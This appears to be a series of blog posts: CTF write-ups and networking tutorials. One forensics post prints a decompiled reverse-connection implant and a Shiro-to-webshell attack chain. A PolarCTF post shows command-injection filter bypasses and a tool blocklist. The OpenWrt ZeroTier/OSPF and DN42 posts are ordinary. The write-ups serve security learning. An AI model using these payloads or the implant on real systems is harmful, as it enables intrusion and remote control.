8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) i = 0 chunk_idx = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] i += length nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}") chunk_idx += 1 The output was: 0: len3: b'pwd' 1: len8: b'/var/tmp' 2: len2: b'ls' 3: len3: b'out' 4: len20: b'echo Congratulations' 5: len15: b'Congratulations' 6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 8: len8: b'echo bye' 9: len3: b'bye' Putting 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi through CyberChef, applying Base58 then Base64 decryption yielded the Flag: dart{d9850b27-85cb-4777-85e0-df0b78fdb722} A later attempt to fully extract and reverse engineer the binary uploaded in chunks confirmed it was a PyInstaller-packaged ELF. Decompiling the extracted inspect.pyc revealed: # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.9 import os import socket import struct import subprocess import argparse import settings import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM SERVER_LISTEN_IP = '10.1.243.155' SERVER_LISTEN_PORT = 7788 IMPLANT_CONNECT_IP = '10.1.243.155' IMPLANT_CONNECT_PORT = 7788 SERVER_LISTEN_NUM = 20 _aesgcm = None def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）') _aesgcm = None(key) def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短，无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext def exec_cmd(command, code_flag): command = command.decode('utf-8') # WARNING: Decompyle incomplete def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data) def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8' # WARNING: Decompyle incomplete if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main() This confirmed the use of AES-GCM. Summary The complete attack chain was as follows: sequenceDiagram participant Attacker as Attacker / C2 Server participant WebServer as Web App Layer (Shiro / Behinder WebShell) participant OS as Underlying System (Linux OS) rect rgb(240, 248, 255) note right of Attacker: Phase 1: Shiro Exploitation & RCE Attacker->>WebServer: Continuous brute-force of rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 Redirect (Brute-force successful, AES Key obtained) Attacker->>WebServer: Send RCE Payload (Commands via Authorization header) WebServer->>OS: Spawn process to execute commands (whoami, ls -la, etc.) OS-->>WebServer: Return standard output (root, etc.) WebServer-->>Attacker: Return Base64 encrypted command results end rect rgb(255, 240, 245) note right of Attacker: Phase 2: Inject Memory-Shell & Post-Exploration Attacker->>WebServer: POST request to inject Behinder memory-shell WebServer-->>Attacker: Return injection success indicator (->|Success|<-) Attacker->>WebServer: Access /favicondemo.ico, send AES encrypted Java Classes WebServer->>OS: Read environment variables, network info, list /tmp & /var/tmp OS-->>WebServer: Return system status and file lists WebServer-->>Attacker: Return AES encrypted exploration results end rect rgb(240, 255, 240) note right of Attacker: Phase 3: Chunked Upload & Execution of Persistent Malware Attacker->>WebServer: Multiple requests to upload ELF malware in chunks WebServer->>OS: Append payload chunks to /var/tmp/out Attacker->>WebServer: Send hash verification request WebServer->>OS: Calculate MD5 hash of /var/tmp/out OS-->>WebServer: Verification successful WebServer-->>Attacker: Return hash confirming file integrity Attacker->>WebServer: Send commands chmod +x out and ./out --aes-key ... WebServer->>OS: Grant execute permissions and run malware with key parameter end rect rgb(255, 253, 230) note right of Attacker: Phase 4: TCP Reverse Connection & Deep Control OS->>Attacker: Pyinstaller malware initiates TCP reverse connection to C2 (10.1.243.155:7788) Attacker->>OS: Send AES-GCM encrypted commands (pwd, ls, echo) OS-->>Attacker: Return encrypted execution results (final output includes Flag) end Phase 1: Shiro Vulnerability Exploitation and RCE Verification The attacker successfully brute-forced the Apache Shiro AES key by sending GET requests containing rememberMe cookies. Subsequently, the attacker used the Authorization header to pass encrypted commands. The web server executed commands like whoami and returned the Base64 encrypted result root. Phase 2: Implanting Memory Webshell and Initial Control The attacker sent a POST request to the / path containing a Java class, successfully injecting a Behinder memory webshell, establishing the C2 channel on the /favicondemo.ico path. The attacker sent AES-encrypted Java classes through this channel, using the web application layer to read the underlying system's environment variables, IP information (172.18.0.2), and execute basic system commands (e.g., ps -ef). Phase 3: Malware Upload and Execution Through the webshell, the attacker used blockIndex and blockSize parameters to upload an ELF binary in chunks, appending it to /var/tmp/out, and verified its hash (a0275c1593af1adb). The attacker issued the shell command chmod +x out to grant execution permissions and ran the malware on the underlying system using ./out --aes-key .... Phase 4: TCP Reverse Connection to Obtain Flag Once executed, the Python-based malware bypassed the web layer and actively initiated a TCP connection to the attacker's C2 server (10.1.243.155:7788). Both parties switched to AES-GCM encryption. The attacker issued remote control commands like pwd, ls, and echo Congratulations, ultimately retrieving the Flag from the final response. Overall, it was quite an interesting challenge.
[Fun Experiment] A LAN Spanning 20km: Seamlessly Merging Remote Networks on OpenWrt Using ZeroTier + OSPF
Background I was originally setting up my own ZeroTier "big internal network". Because the network structure is relatively complex, I decided to use OSPF instead of static routes to configure internal routing. I had tried to configure ZeroTier on my home OpenWrt before but never succeeded. Recently, I took it out again to work on it and discovered it was a configuration issue with OpenWrt. After fixing it, I was chatting with a good friend and had an idea: Kagura iYoRoy: 02-10 14:49:05 Hey... Kagura iYoRoy: 02-10 14:49:06 Then... Kagura iYoRoy: 02-10 14:49:20 If you also set up OSPF on your router... Kagura iYoRoy: 02-10 14:49:27 Our two home networks would be directly interconnected, huh? ( Let's do it! Basic Information Local Side Router OS: OpenWrt, X-WRT 26.04_b202601250827 LAN IPv4 Prefix: 192.168.3.0/24 ISP: Hefei China Unicom NAT Environment: NAT1 Remote Side Router OS: OpenWrt, X-WRT 25.04_b202510240128 LAN IPv4 Prefix: 192.168.1.0/24 ISP: Hefei China Mobile NAT Environment: NAT1 Installing ZeroTier and Using a Self-Hosted Planet I used ZTNet as the self-hosted Controller. The setup process won't be elaborated here as you can find it online. The OpenWrt version I'm using has started using apk instead of opkg as the package manager. Use apk to install zerotier-one directly: apk add zerotier After completion, open /etc/config/zerotier to find the default configuration file. config zerotier 'global' # Sets whether ZeroTier is enabled or not option enabled 0 # Sets the ZeroTier listening port (default 9993; set to 0 for random) #option port '9993' # Client secret (leave blank to generate a secret on first run) option secret '' # Path of the optional file local.conf (see documentation at # https://docs.zerotier.com/config#local-configuration-options) #option local_conf_path '/etc/zerotier.conf' # Persistent configuration directory (to perform other configurations such # as controller mode or moons, etc.) #option config_path '/etc/zerotier' # Copy the contents of the persistent configuration directory to memory # instead of linking it, this avoids writing to flash #option copy_config_path '1' # Network configuration, you can have as many configurations as networks you # want to join (the network name is optional) config network 'earth' # Identifier of the network you wish to join option id '8056c2e21c000001' # Network configuration parameters (all are optional, if not indicated the # default values are set, see documentation at # https://docs.zerotier.com/config/#network-specific-configuration) option allow_managed '1' option allow_global '0' option allow_default '0' option allow_dns '0' # Example of a second network (unnamed as it is optional) #config network # option id '1234567890123456' # option allow_managed '1' # option allow_global '0' # option allow_default '0' # option allow_dns '0' Modify it according to your needs: config zerotier 'global' option enabled '1' # Enable ZeroTier client service option config_path '/etc/zerotier' # Persistent directory: for storing identity secret, Moon node definitions, and network settings option secret '' # Leave secret blank: identity will be auto-generated on first run and saved to identity.secret option copy_config_path '1' # Flash protection policy: copy config to memory on startup. If set to 0, read/write directly to Flash config network 'earth' option id '<network ID>' # 16-digit ZeroTier Network ID option allow_managed '1' # Allow receiving controller-assigned IPs, routes, and tags option allow_global '1' # Allow receiving globally routable IPv6 unicast addresses (GUA) via ZeroTier option allow_default '0' # Allow ZeroTier to take over the default gateway (similar to a global proxy) option allow_dns '1' # Allow receiving and using DNS servers configured in the ZeroTier control panel Regarding copy_config_path '1' Because the ZeroTier working directory /var/lib/zerotier-one is part of tmpfs in OpenWrt, its contents are cleared on reboot. Therefore, configurations like planet, identity, and network files need to be stored in the router's Flash storage, i.e., the path set in config_path. The default logic is to create a soft link from the configured config_path to /var/lib/zerotier-one on startup to achieve persistence. All read/write operations in /var/lib/zerotier-one are then written to Flash. However, frequent ZeroTier read/writes can significantly reduce Flash lifespan. Enabling copy_config_path '1' specifies that on ZeroTier startup, the configurations from config_path are copied directly into /var/lib/zerotier-one. This greatly extends the internal Flash lifespan, but the downside is that modifications made via zerotier-cli are not automatically synced back to Flash by default, making this option less suitable for scenarios requiring frequent configuration adjustments. After making changes, use: /etc/init.d/zerotier start /etc/init.d/zerotier enable to start ZeroTier and enable auto-start on boot. On first startup, if the secret field was left empty, it will be auto-generated. After startup, copy all files from /var/lib/zerotier-one to /etc/zerotier. Download the Planet file to the config_path set above, i.e., /etc/zerotier. After completion, restart ZeroTier: /etc/init.d/zerotier restart That's it. Then, go to your ZeroTier Controller console, and you should see the new device has joined. Next, you may need to allow ZeroTier traffic through the firewall. This step can be referenced from other online tutorials. I chose to allow all traffic; it shouldn't be a big issue under NAT1. Installing and Configuring Bird2 I didn't expect the Bird2 version in the apk repository to be very recent. As of this writing on 2026-02-10, the Bird2 version in apk is 2.18 Use the following command to install: apk add bird2 # bird daemon itself apk add bird2c # birdc command Because OpenWrt's default bird configuration file is located at /etc/bird.conf, and I prefer modular referencing by placing different configurations in separate folders based on function, I chose to move the default config file to /etc/bird/bird.conf and store various config files within that folder. Open /etc/init.d/bird: #!/bin/sh /etc/rc.common # Copyright (C) 2010-2017 OpenWrt.org USE_PROCD=1 START=70 STOP=10 BIRD_BIN="/usr/sbin/bird" BIRD_CONF="/etc/bird.conf" BIRD_PID_FILE="/var/run/bird.pid" start_service() { mkdir -p /var/run procd_open_instance procd_set_param command $BIRD_BIN -f -c $BIRD_CONF -P $BIRD_PID_FILE procd_set_param file "$BIRD_CONF" procd_set_param stdout 1 procd_set_param stderr 1 procd_set_param respawn procd_close_instance } reload_service() { procd_send_signal bird } Change the BIRD_CONF value to /etc/bird/bird.conf: - BIRD_CONF="/etc/bird.conf" + BIRD_CONF="/etc/bird/bird.conf" Then create the /etc/bird folder. All subsequent OSPF configuration files will be placed here. Configuring OSPF My configuration file structure follows these rules: /etc/bird/bird.conf serves as the sole entry point, defining basic configurations like Router ID, filter prefixes, and then including other sub-configurations. Configurations for different networks are placed in separate folders, e.g., public internet parts in /etc/bird/inet/, DN42 parts in /etc/bird/dn42/, and my own internal network parts in /etc/bird/intra/. Each network has a defs.conf handling common functions (similar to utils in Golang development?). Thus, the final configuration file structure is: /etc/bird/bird.conf: Configuration entry point define INTRA_ROUTER_ID = 100.64.0.100; define INTRA_PREFIX_V4 = [ 100.64.0.0/16+, 192.168.0.0/16+ ]; # IPv4 prefixes allowed to be advertised via OSPF define INTRA_PREFIX_V6 = [ fd18:3e15:61d0::/48+ ]; # IPv6 prefixes allowed to be advertised via OSPF protocol device { scan time 10; }; ipv4 table intra_table_v4; # Define internal routing IPv4 table ipv6 table intra_table_v6; # Define internal routing IPv6 table include "intra/defs.conf"; include "intra/kernel.conf"; include "intra/ospf.conf"; The RouterID here is directly taken from the node's IPv4 address within the ZeroTier internal network. Separate tables are used for future safety, e.g., if connecting this node to DN42. /etc/bird/intra/defs.conf: Functions for filters function is_intra_net4() { return net ~ INTRA_PREFIX_V4; } function is_intra_net6(){ return net ~ INTRA_PREFIX_V6; } function is_intra_dn42_net4(){ return net ~ [ 172.20.0.0/14+ ]; } function is_intra_dn42_net6(){ return net ~ [ fd00::/8+ ]; } /etc/bird/intra/kernel.conf: Write routes learned by OSPF into the system routing table protocol kernel intra_kernel_v4 { kernel table 254; scan time 20; ipv4 { table intra_table_v4; import none; export filter { if source = RTS_STATIC then reject; accept; }; }; }; protocol kernel intra_kernel_v6 { kernel table 254; scan time 20; ipv6 { table intra_table_v6; import none; export filter { if source = RTS_STATIC then reject; accept; }; }; }; /etc/bird/intra/ospf.conf: OSPF module protocol ospf v3 intra_ospf_v4 { router id INTRA_ROUTER_ID; # Specify RouterID ipv4 { table intra_table_v4; # Specify routing table import where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP; export where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 intra_ospf_v6 { router id INTRA_ROUTER_ID; # Specify RouterID ipv6 { table intra_table_v6; # Specify routing table import where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP; export where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP; }; include "ospf/*"; }; /etc/bird/intra/ospf/backbone.conf: OSPF Area Configuration area 0.0.0.0 { interface "br-lan" { stub; }; # Local LAN interface interface "zta7oqfzy6" { # ZeroTier interface type broadcast; cost 100; hello 20; }; }; After completion, use: /etc/init.d/bird start /etc/init.d/bird enable to start Bird and enable auto-start on boot. If everything is fine, you can use birdc s p to check Bird's status. If all goes well, after the other side is configured, you should see the OSPF state as Running: root@X-WRT:/etc/bird# birdc s p BIRD 2.18 ready. Name Proto Table State Since Info device1 Device --- up 14:28:02.410 intra_kernel_v4 Kernel intra_table_v4 up 14:28:02.410 intra_kernel_v6 Kernel intra_table_v6 up 14:28:02.410 intra_ospf_v4 OSPF intra_table_v4 up 14:28:02.410 Running intra_ospf_v6 OSPF intra_table_v6 up 14:31:38.389 Running Have your friend follow the same process. Once both sides show Running status, you can use birdc s r protocol intra_ospf_v4 to view the routes learned by OSPF. You'll find that routes to the other side via ZeroTier are being learned normally: root@X-WRT:/etc/bird# birdc s r protocol intra_ospf_v4 BIRD 2.18 ready. Table intra_table_v4: ... 192.168.1.0/24 unicast [intra_ospf_v4 23:20:21.398] * I (150/110) [100.64.0.163] via 100.64.0.163 on zta7oqfzy6 ... 192.168.3.0/24 unicast [intra_ospf_v4 14:28:02.511] * I (150/10) [100.64.0.100] dev br-lan You can also ping your friend's server from your PC: iyoroy@iYoRoy-PC:~$ ping 192.168.1.103 PING 192.168.1.103 (192.168.1.103) 56(84) bytes of data. 64 bytes from 192.168.1.103: icmp_seq=1 ttl=63 time=54.3 ms 64 bytes from 192.168.1.103: icmp_seq=2 ttl=63 time=10.7 ms 64 bytes from 192.168.1.103: icmp_seq=3 ttl=63 time=15.2 ms ^C --- 192.168.1.103 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 10.678/26.717/54.279/19.576 ms iyoroy@iYoRoy-PC:~$ traceroute 192.168.1.103 traceroute to 192.168.1.103 (192.168.1.103), 30 hops max, 60 byte packets 1 100.64.0.163 (100.64.0.163) 10.445 ms 9.981 ms 9.892 ms 2 192.168.1.103 (192.168.1.103) 11.621 ms 10.994 ms 10.948 ms Web browsing and speed tests work normally: Summary This series of operations essentially implements the following network structure: flowchart TB %% === Style Definitions === classDef phyNet fill:#e3f2fd,stroke:#1565c0,stroke-width:2px classDef virNet fill:#fff3e0,stroke:#ef6c00,stroke-width:2px,stroke-dasharray: 5 5 classDef router fill:#333,stroke:#000,stroke-width:2px,color:#fff classDef ztCard fill:#f57c00,stroke:#e65100,stroke-width:2px,color:#fff,shape:rect classDef bird fill:#a5d6a7,stroke:#2e7d32,stroke-width:1px,color:#000 classDef invisibleContainer fill:none,stroke:none,color:none %% === Physical Layer Containers === subgraph Top_Physical_Layer [" "] direction LR subgraph Left_Side ["My Home (Node A)"] direction TB L_Router[X-WRT Router A]:::router L_LAN[LAN: 192.168.3.0/24] L_LAN <--> L_Router end subgraph Right_Side ["Friend's Home (Node B)"] direction TB R_Router[X-WRT Router B]:::router R_LAN[LAN: 192.168.1.0/24] R_LAN <--> R_Router end end %% === Virtual Layer Container === subgraph Middle_Side [ZeroTier Virtual L2 Network] direction LR subgraph ZT_Stack_A [My Home ZT Access] direction TB L_NIC(zt0: 100.64.0.x):::ztCard L_Bird(Bird OSPF):::bird L_NIC <-.- L_Bird end subgraph ZT_Stack_B [Friend's Home ZT Access] direction TB R_NIC(zt0: 100.64.0.y):::ztCard R_Bird(Bird OSPF):::bird R_NIC <-.- R_Bird end L_NIC <==P2P Tunnel==> R_NIC end %% === Cross-Layer Connections === L_Router === L_NIC R_Router === R_NIC %% === Style Application === class Left_Side,Right_Side phyNet class Middle_Side virNet class Top_Physical_Layer invisibleContainer The underlying P2P network is still powered by ZeroTier. However, using OSPF for internal routing allows both sides to directly route to devices on each other's network segments. Since both sides can fully learn each other's routes, no NAT is required, and both sides can directly see each other's source addresses. Check out the other side of this story! From my friend's side: Linux Operations - OSPF Networking Implementation Based on Bird for New OpenWrt » NanamiのTechLaunchTower
PolarCTF 2025 Winter Competition Web Polarflag WriteUp
Opening the webpage, you can see it is a login page: Attempting to scan with dirsearch yields: Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed Discover /flag.txt, access it: <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return $temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> Attempting to run it reveals a syntax error. Correct it: ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; Running it yields: the_username_is_polar, hinting that the username is polar. Meanwhile, the challenge attachment provides a dictionary wordlist.txt. Attempt brute-forcing with BurpSuite: Brute-forcing reveals that when the password is 6666, it redirects to /polar.php: Access /polar.php, obtain: <?php error_reporting(0); session_start(); if(isset($_GET['logout'])){ session_destroy(); header('Location: index.php'); exit(); } // Initialize session variable if(!isset($_SESSION['collision_passed'])) { $_SESSION['collision_passed'] = false; } // The one who wants to win has no smile on their face if(isset($_POST['a']) && isset($_POST['b'])) { if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo "MD5 Well done \n"; $_SESSION['collision_passed'] = true; } else { echo "MD5 Not good enough\n"; $_SESSION['collision_passed'] = false; } } if(isset($_GET["polar"])){ if($_SESSION['collision_passed']) { if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){ echo "gun gun !"; } else { echo "polar polar !"; system($_GET["polar"]); } } else { echo "Go back, this part isn't needed\n"; } } else { show_source(__FILE__); echo ' Go home'; } ?> First, bypass the MD5 check by passing a[]=1&b[]=2: POST /polar.php HTTP/1.1 Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 11 a[]=1&b[]=2 The server returns: Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/ And prompts MD5 Well done, successfully bypassing. Since I used BurpSuite to send the request, I plan to use a regular browser next, so I write this cookie into the browser. Then directly access /polar.php?polar= to pass commands, no need to bypass MD5 again. Observing the regex filtering rules, many characters are blocked, including a series of symbols. First, try exporting environment variables with export, and discover a Flag: flag{7b93dd56-4f33-4738-b916-464a984093b3}, but submitting it shows it's incorrect. Asking customer service confirms this Flag is wrong. Since spaces are filtered, use $IFS$1 or %09 (Tab) to bypass. Also, because / is blocked, use ${PWD:0:1} (extract the first character of the PWD environment variable, which is /) instead. Construct the request: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1} Obtain: polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var Discover the Flag file: /polarflag. Since fl is filtered, cannot directly call the filename, so use ????????? to match a 9-character file. Commands like cat, tail, more, less that can print content are disabled, but commands like sort can still be used and also print content: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}????????? Obtain the Flag: flag{polarctf1314inwebgame}
Open the file using 010 Editor and find a ZIP header at the end: Extract it and open it to find no password, just a string of base64: [binary] Decode to get: 你这苹果怎么这么大 大个儿才值钱你要不要 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 这橙子怎么这么酸 酸才是正宗的橙子你要是甜的去别家看 这香蕉有点弯 弯的香蕉更甜你不懂 你这梨子是不是有点硬 硬是因为新鲜吃着有口感 这葡萄怎么这么小 小的葡萄更浓缩甜味 At the same time, it is found that there is still part of unrecognized data at the end of the exported zip: Based on the 1A 9E 97 BA 2A, it can be inferred that this is OurSecret steganography. Open it with the OurSecret tool and find that a password is required. Try the password shuiguo to extract a txt file: 你这柚子这么小 你这柚子这么小 你这柚子这么小 你这梨子是不是有点硬 你这柚子这么小 大个儿才值钱你要不要 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 小巧的才好吃你要大个的还是好吃的 弯的香蕉更甜你不懂 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这苹果怎么这么大 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这西瓜能吃吗看起来有点不熟 你这柚子这么小 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这柚子这么小 这西瓜能吃吗看起来有点不熟 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜吃着有口感 It is found that this corresponds one-to-one with the previously extracted statements. Since there are 16 statements extracted earlier, it is speculated that they represent hexadecimal digits, corresponding to 0-f respectively. Then, map the OurSecret decrypted content to hexadecimal numbers to obtain: 666c61677b33653235393630613739646263363962363734636434656336376137326336327d. Write a Python script to convert the hexadecimal string to ASCII characters in groups of two: hex_string = "666c61677b33653235393630613739646263363962363734636434656336376137326336327d" ascii_string = ''.join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)]) print(ascii_string) Get the Flag: flag{3e25960a79dbc69b674cd4ec67a72c62}
DN42&OneManISP - Troubleshooting OSPF Source Address in a Coexistence Environment
Backstory As mentioned in the previous post of this series, because the VRF solution was too isolating, the DNS service I deployed on the HKG node (172.20.234.225) became inaccessible from the DN42 network. Research indicated this could be achieved by setting up veth or NAT forwarding, but due to the scarcity of available documentation, I ultimately abandoned the VRF approach. Structure Analysis This time, I planned to place both DN42 and clearnet BGP routes into the system's main routing table, then separate them for export using filters to distinguish which should be exported. For clarity, I stored the configuration for the DN42 part and the clearnet part (hereinafter referred to as inet) separately, and then included them from the main configuration file. Also, since there should ideally only be one kernel configuration per routing table, I merged the DN42 and inet kernel parts, keeping only one instance. After multiple optimizations and revisions, my final directory structure is as follows: /etc/bird/ ├─envvars ├─bird.conf: Main Bird config file, defines basic info (ASN, IP, etc.), includes sub-configs below ├─kernel.conf: Kernel config, imports routes into the system routing table ├─dn42 | ├─defs.conf: DN42 function definitions, e.g., is_self_dn42_net() | ├─ibgp.conf: DN42 iBGP template | ├─rpki.conf: DN42 RPKI route validation | ├─ospf.conf: DN42 OSPF internal network | ├─static.conf: DN42 static routes | ├─ebgp.conf: DN42 Peer template | ├─ibgp | | └<ibgp configs>: DN42 iBGP configs for each node | ├─ospf | | └backbone.conf: OSPF area | ├─peers | | └<ibgp configs>: DN42 Peer configs for each node ├─inet | ├─peer.conf: Clearnet Peer | ├─ixp.conf: Clearnet IXP connection | ├─defs.conf: Clearnet function definitions, e.g., is_self_inet_v6() | ├─upstream.conf: Clearnet upstream | └static.conf: Clearnet static routes I separated the function definitions because I needed to reference them in the filters within kernel.conf, so I isolated them for early inclusion. After filling in the respective configurations and setting up the include relationships, I ran birdc configure and it started successfully. So, case closed... right? Problems occurred After running for a while, I suddenly found that I couldn't ping the HKG node from my internal devices, nor could I ping my other internal nodes from the HKG node. Strangely, external ASes could ping my other nodes or other external ASes through my HKG node, and my internal nodes could also ping other non-directly connected nodes (e.g., 226(NKG)->225(HKG)->229(LAX)) via the HKG node. Using ip route get <other internal node address> revealed: root@iYoRoyNetworkHKG:/etc/bird# ip route get 172.20.234.226 172.20.234.226 via 172.20.234.226 dev dn42_nkg src 23.149.120.51 uid 0 cache See the problem? The src address should have been the HKG node's own DN42 address (configured on the OSPF stub interface), but here it showed the HKG node's clearnet address instead. Attempting to read the route learned by Bird using birdc s r for 172.20.234.226: 